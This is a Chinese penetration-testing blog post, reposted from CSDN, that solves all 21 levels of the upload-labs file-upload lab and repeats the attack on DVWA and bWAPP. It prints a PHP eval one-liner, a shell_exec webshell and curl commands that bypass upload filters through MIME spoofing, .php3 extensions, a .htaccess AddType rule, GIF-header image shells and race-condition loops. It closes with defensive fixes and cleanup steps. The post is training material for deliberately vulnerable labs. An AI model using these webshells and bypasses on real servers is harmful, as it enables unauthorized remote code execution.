IT大白鼠头像

渗透测试实战从靶场搭建到渗透流程——第 5 篇 · 文件上传 21 关:upload-labs 全线绕过

一、上传漏洞的原理与靶场准备

文件上传漏洞的本质:网站允许用户上传文件,却没校验「上传的是什么、存到哪里、以什么身份被访问」。只要上传的 .php 文件能被 Web 服务解析执行,攻击者就获得了与 Web 用户同权限的命令执行入口——这就是 Getshell 最直接的路径。

靶场:upload-labs(http://10.10.10.240:8087),PHP 5.5.38 + Apache,21 个 Pass 对应 21 种防护与绕过,上传落地目录为容器内 /var/www/html/upload/。无需登录,打开即练。

1.1 通用验证马

先准备两样东西。验证马用文本型(官方镜像缺 php-gd 扩展,图片型马在此环境可能报错):

cat > /tmp/t.php <<EOF

<?php echo "WARSHELL_OK"; phpinfo(); ?>

EOF

# 一句话马(配合蚁剑连接用,本篇以验证马为准)

<?php @eval($_POST["a"]); ?>

验收纪律:上传成功与否不看页面文案(Pass-01 只弹前端提示),一律用 docker exec 看落盘或直接访问上传后的 URL:

docker exec upload-labs ls /var/www/html/upload/

curl -s -o /dev/null -w "%{http_code}" http://10.10.10.240:8087/upload/t.php

二、21 关绕过思路总表

21 关按防护类型分七组。表给出每关的防护点与绕过手法,随后对重点关实测。

Pass

防护方式

绕过手法

01

前端 JS 校验扩展名

禁用 JS 或 Burp 抓包改文件名(后端不校验)

02

后端校验 Content-Type

抓包改 MIME 为 image/png

03

扩展名黑名单

改用 .php3/.php5/.phtml(Apache 按解析规则执行)

04

黑名单 + 禁 .htaccess?

黑名单没禁 .htaccess:传它让 .png 按 PHP 解析

05

大小写黑名单

t.PHP / t.PhP(黑名单未统一转小写)

06

去尾部空格

t.php+空格(Windows 特性,Linux 环境演示思路)

07

去尾部点

t.php. 落地成 t.php

08/09

:::DATA 未过滤

t.php::$DATA(Windows 流特性)

10

去尾点后限扩展名

t.php. .(点+空格+点)双写组合

11/12

白名单 + %00 截断

/upload/t.php%00.jpg(PHP<5.3.4 才有效)

13~15

文件头/getimagesize/exif 检测

图片马:GIF89a 头 + PHP 代码,配合解析漏洞执行

16/17

二次渲染

用渲染后仍保留 payload 的图(GIF 在渲染稳定区埋码)

18/19

条件竞争(先存后删)

多线程不停传 + 不停访问,命中「已落盘未删除」窗口

20/21

保存名可控

t.php/. 截断、数组绕过、分号(视配置)

三、重点关实测

3.1 Pass-01:前端校验,直接发包

页面 JS 只允许 .jpg/.png/.gif——校验发生在浏览器里,用 curl 绕过整个前端直接提交表单:

curl -s -F "upload_file=@/tmp/t.php;filename=t.php;type=image/png" \

        -F "submit=上传" http://10.10.10.240:8087/Pass-01/index.php

docker exec upload-labs ls -l /var/www/html/upload/     # 已落地 t.php

curl -s http://10.10.10.240:8087/upload/t.php | grep -o "<title>[^<]*</title>"

# 预期:<title>phpinfo()</title>(PHP Version 5.5.38)

3.2 Pass-02:改 MIME

后端校验的是 Content-Type 头(客户端可任意伪造),扩展名反而没查。同一命令,关键在 type=image/png。

3.3 Pass-03:黑名单换后缀

cp /tmp/t.php /tmp/t.php3

curl -s -F "upload_file=@/tmp/t.php3;filename=t.php3;type=image/png" \

        -F "submit=上传" http://10.10.10.240:8087/Pass-03/index.php

curl -s http://10.10.10.240:8087/upload/t.php3 | grep -c "WARSHELL_OK"    # 1 即执行

原理:Apache 的解析配置把 php3/php5/phtml 同样交给 PHP 处理。黑名单永远列不全,白名单才是正解——这是防御视角的关键结论。

3.4 Pass-04:.htaccess 让图片变 PHP

printf "AddType application/x-httpd-php .png\n" > /tmp/.htaccess

curl -s -F "upload_file=@/tmp/.htaccess;filename=.htaccess;type=image/png" \

        -F "submit=上传" http://10.10.10.240:8087/Pass-04/index.php

cp /tmp/t.php /tmp/t.png

curl -s -F "upload_file=@/tmp/t.png;filename=t.png;type=image/png" \

        -F "submit=上传" http://10.10.10.240:8087/Pass-04/index.php

curl -s http://10.10.10.240:8087/upload/t.png | grep -c "WARSHELL_OK"    # 1 即 .png 被当 PHP 执行

.htaccess 是 Apache 的目录级配置,上传它等于「改了服务器解析规则」。本镜像已开 AllowOverride All,故可用。防御方应禁用 AllowOverride 或禁止上传隐藏文件。

3.5 Pass-13~15:图片马 + 文件头检测

# 制作带 GIF 头的图片马(getimagesize 只认文件头)

printf "GIF89a" > /tmp/m.gif

cat /tmp/t.php >> /tmp/m.gif

curl -s -F "upload_file=@/tmp/m.gif;filename=m.gif;type=image/gif" \

        -F "submit=上传" http://10.10.10.240:8087/Pass-13/index.php

# 图片马自身不会被执行——需要配合「包含」或解析漏洞:

# 用 DVWA 的 File Inclusion 关卡包含它(第 7 篇),或 Pass-04 的 .htaccess 思路让 .gif 按 PHP 解析

这一组的教学点:文件头检测拦得住「假图片」,拦不住「真图片里的恶意代码」——检测只解决「是不是图」,不解决「图里有什么」。

3.6 Pass-18/19:条件竞争

防护逻辑是「先保存、校验不通过就删除」,删除需要时间——窗口期内文件是存在的。用并发不停地传、同时不停地访问,命中窗口即得到一个稳定 shell:

# 终端 1:不停上传

while true; do

  curl -s -F "upload_file=@/tmp/t.php;filename=t.php;type=image/png" \

          -F "submit=上传" http://10.10.10.240:8087/Pass-18/index.php -o /dev/null

done

# 终端 2:不停访问(并发跑)

while true; do

  curl -s http://10.10.10.240:8087/upload/t.php | grep -c WARSHELL_OK && break

done

竞争类必须真并发(多终端或 Python 多线程/xargs -P),单线程必失败。这也解释了为何「先存后删」的设计是缺陷:判断与删除之间没有原子性。

四、跨靶场对照:DVWA 与 bWAPP 的上传

4.1 DVWA(8081):Low 级直传 Getshell

# 需登录态(Cookie 携带见第 7 篇)

printf "<?php echo 'UPLOAD_OK_'.shell_exec('id'); ?>" > /tmp/s.php

curl -s -b "PHPSESSID=你的会话; security=low" \

  -F "uploaded=@/tmp/s.php;type=image/jpeg" -F "Upload=Upload" \

  http://10.10.10.240:8081/vulnerabilities/upload/

# 预期:../../hackable/uploads/s.php succesfully uploaded!

curl -s http://10.10.10.240:8081/hackable/uploads/s.php

# 预期(实测):UPLOAD_OK_uid=33(www-data) ... ← 未授权可访问的持久 webshell

实测要点:Low 级别连扩展名都不查,type=image/jpeg 伪造 MIME 后 PHP 文件直接落地并被解析。这是「上传即 RCE」的完整链,也是 DVWA 里危害最高的漏洞之一。

4.2 bWAPP(8083):上传目录就是 /images/

curl -s -b /tmp/bw.txt -F "file=@/tmp/wsh.php;type=image/png" \

  -F "form=submit" -F "form_security_level=0" \

  "http://10.10.10.240:8083/unrestricted_file_upload.php"

curl -s "http://10.10.10.240:8083/images/wsh.php?cmd=id"

# 预期(实测):BWAAP_OK:uid=33(www-data)

两个常见误判:上传后 404 是因为文件落在 /images/ 而不是站点根;命令注入表单的隐藏字段是 form_bug 不是 form(bWAPP 的表单命名自成一套,Burp 里看清楚再构造)。

五、防御视角与验收清场

5.1 修复建议(按优先级)

  • 白名单校验扩展名,拒绝一切黑名单思路(黑名单永远列不全)。
  • 上传文件重命名(随机名,丢弃用户提供的扩展名逻辑),避免截断与双写绕过。
  • 上传目录禁止 PHP 解析:Apache 用 php_admin_flag engine off,nginx 用 location 匹配 deny。
  • 文件存到 Web 根目录之外,通过受控脚本输出下载。
  • 校验内容本身(文件头 + 二次渲染),防范图片马;保存与校验用原子操作,消灭竞争窗口。

5.2 验收标准

Pass-01/02/03/04 均拿到 WARSHELL_OK 回显;图片马能过 13~15 的检测;条件竞争能命中窗口;DVWA/bWAPP 对照链各自拿到 uid=33(www-data)。

5.3 清场

# 删除上传的测试文件(upload-labs)

docker exec upload-labs sh -c "rm -f /var/www/html/upload/*"

# 删除 bWAPP 的马(images 目录可写是上传即 RCE 的前提,练完必清)

docker exec bwapp sh -c "rm -f /app/images/wsh.php; ls /app/images | wc -l"

# DVWA:删除马并确认 404

docker exec dvwa sh -c "rm -f /var/www/html/hackable/uploads/s.php"

curl -s -o /dev/null -w "%{http_code}" http://10.10.10.240:8081/hackable/uploads/s.php   # 404

上传线打通后,下一篇走命令注入:不经过上传,直接让服务器替你执行命令——DVNA 的 ping 接口会把 root 权限双手奉上。

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/qq_28608175/article/details/168955632

文章来源转载

评论

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--